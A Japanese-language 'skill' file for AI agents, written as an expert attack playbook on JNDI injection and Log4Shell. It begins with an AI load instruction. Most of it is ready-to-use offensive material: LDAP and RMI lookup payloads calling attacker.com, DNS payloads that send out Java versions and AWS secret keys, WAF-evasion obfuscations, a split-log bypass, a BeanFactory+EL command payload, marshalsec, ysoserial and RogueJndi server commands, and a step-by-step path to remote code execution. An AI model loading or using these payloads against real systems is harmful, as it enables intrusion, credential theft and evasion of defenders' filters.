SKILL: JNDI Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: エキスパート向け JNDI インジェクション技法。ルックアップメカニズム悪用、RMI/LDAP クラスローディング、JDK バージョン制約、Log4Shell (CVE-2021-44228)、marshalsec ツール、および 8u191 以降の逆シリアライゼーションガジェット経由のバイパスをカバーしています。ベースモデルは JNDI インジェクションを一般的なデシリアライゼーションと混同することが多いため、このファイルでは異なる攻撃対象領域を明確にしています。

0. 関連ルーティング

• deserialization-insecure JNDI がデシリアライゼーションに至る場合（8u191 以降のバイパスパス）
• expression-language-injection JNDI シンクが SpEL または OGNL 式評価経由でアクセスされる場合

---

1. コア メカニズム

JNDI（Java Naming and Directory Interface）は、ネーミング/ディレクトリサービス（RMI、LDAP、DNS、CORBA）からオブジェクトをルックアップするための統一 API を提供します。

脆弱性: InitialContext.lookup(USER_INPUT) が攻撃者制御の URL を受け取ると、JVM は攻撃者のサーバーに接続し、任意のコードをロード/実行します。

// 脆弱なコードパターン:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

---

2. 攻撃ベクトル

RMI（Remote Method Invocation）

rmi://attacker.com:1099/Exploit

攻撃者は、リモートクラスを指す Reference オブジェクトを返す RMI サーバーを実行します:

// 攻撃者の RMI サーバーが返す:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM が http://attacker.com/Exploit.class をダウンロードし、これをインスタンス化

LDAP

ldap://attacker.com:1389/cn=Exploit

攻撃者は、javaCodeBase、javaFactory、またはシリアライズされたオブジェクト属性を持つエントリを返す LDAP サーバーを実行します。

LDAP は RMI より優先されます。LDAP 制限が後になって追加されたためです（RMI の 8u121 vs LDAP の 8u191）。

DNS（検出のみ）

dns://attacker-dns-server/lookup-name

RCE なしで JNDI インジェクションを確認するのに便利です。攻撃者の権限のある NS に対する DNS クエリをトリガーします。

---

3. JDK バージョン制約およびバイパス

JDK バージョン	RMI リモートクラス	LDAP リモートクラス	バイパス
< 8u121	YES	YES	直接クラスロード
8u121 – 8u190	NO (trustURLCodebase=false)	YES	LDAP ベクトル使用
>= 8u191	NO	NO	LDAP 経由シリアライズガジェットを返す
>= 8u191 (代替)	NO	NO	BeanFactory + EL インジェクション

8u191 以降のバイパス: LDAP → シリアライズガジェット

攻撃者の LDAP サーバーは、リモートクラス URL を返す代わりに、javaSerializedData 属性内にシリアライズされた Java オブジェクトを返します。JVM がローカルで逆シリアライズします。ガジェットチェーン（例: CommonsCollections）がクラスパス上にあれば、RCE が実現します。

# ysoserial JRMPListener アプローチ:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# その後 JNDI ルックアップが指す: rmi://attacker:1099/whatever

8u191 以降のバイパス: BeanFactory + EL

Tomcat の BeanFactory がクラスパス上にある場合、LDAP レスポンスは EL 式を持つファクトリとして参照できます:

javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

---

4. ツール

marshalsec — JNDI Reference Server

# リモートクラスを提供する LDAP サーバーを起動:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# RMI サーバーを起動:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# #Exploit は http://attacker.com/Exploit.class でホストされている Exploit.class を参照

JNDI-Injection-Exploit（オールインワン）

java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# 複数のバイパス戦略を備えた RMI + LDAP サーバーを自動的に起動

Rogue JNDI

java -jar RogueJndi.jar --command "id" --hostname attacker.com
# 自動生成されたペイロードを備えた RMI、LDAP、HTTP サーバーを提供

---

5. LOG4J2 — CVE-2021-44228（LOG4SHELL）

メカニズム

Log4j2 はルックアップをサポートしています。${...} のような式はログメッセージで評価されます。jndi ルックアップは InitialContext.lookup() をトリガーします:

${jndi:ldap://attacker.com/x}

ログされるあらゆる文字列がこのパターンを含むと脆弱性がトリガーされます。ユーザーエージェント、フォームフィールド、HTTP ヘッダー、URL パス、エラーメッセージ。

検出ペイロード

${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}

# DNS 経由で環境情報を流出させる:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}

WAF バイパスバリアント

Log4j2 のルックアップパーサーは非常に柔軟です:

${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}

Split-Log バイパス（高度）

WAF が単一リクエスト内の対になった ${jndi:...} を検出する場合、2 つのログエントリに分割します:

# リクエスト 1（最初にログ):
X-Custom: ${jndi:ldap://attacker.com/
# リクエスト 2（2 番目にログ):
X-Custom: exploit}

アプリケーションが再処理前にログエントリを連結する場合（例: 集約パイプライン）、連結された ${jndi:ldap://attacker.com/exploit} がトリガーされます。

実例: Solr Log4Shell

# DNSLog 経由で確認 — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# Java バージョンの DNS ヒット = Solr で Log4Shell が確認

テスト対象のインジェクションポイント

User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie 値          URL パスセグメント     POST ボディフィールド
検索クエリ          ファイルアップロード名  フォームフィールド名
GraphQL 変数        SOAP/XML 要素          JSON 値

影響を受けるバージョン

• Log4j2 2.0-beta9 ～ 2.14.1
• 2.15.0 で修正（部分的）、2.17.0 で完全修正
• Log4j 1.x は影響を受けません（異なるルックアップメカニズム）

---

6. その他の JNDI シンク（LOG4J 以外）

製品 / フレームワーク	シンク
Spring Framework	JndiTemplate.lookup()
Apache Solr	Config API、VelocityResponseWriter
Apache Druid	各種設定エンドポイント
VMware vCenter	複数エンドポイント
H2 Database Console	JNDI 接続文字列
Fastjson	@type + JdbcRowSetImpl.setDataSourceName()

---

7. テスト方法論

JNDI インジェクション疑い地点?
├── DNS のみプローブを送信: ${jndi:dns://TOKEN.collab.net}
│   └── DNS ヒット? → JNDI 評価確認
│
├── JDK バージョンを特定:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│   ├── リモートクラスを備えた marshalsec LDAP サーバーを起動
│   └── ${jndi:ldap://attacker:1389/Exploit} → 直接 RCE
│
├── JDK >= 8u191?
│   ├── LDAP → シリアライズガジェット（クラスパス上にガジェットチェーン必要）
│   ├── BeanFactory + EL（クラスパス上に Tomcat 必要）
│   └── ysoserial 経由 JRMPListener
│
└── WAF が ${jndi:...} をブロック?
    └── オブfuscation を試す: ${${lower:j}ndi:...}

---

8. クイック リファレンス

# 安全な確認（DNS のみ）:
${jndi:dns://TOKEN.collab.net}

# LDAP RCE（JDK < 8u191）:
${jndi:ldap://ATTACKER:1389/Exploit}

# バージョン流出:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

# WAF バイパス付き Log4Shell:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

# LDAP reference サーバーを起動:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

# 8u191 以降 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"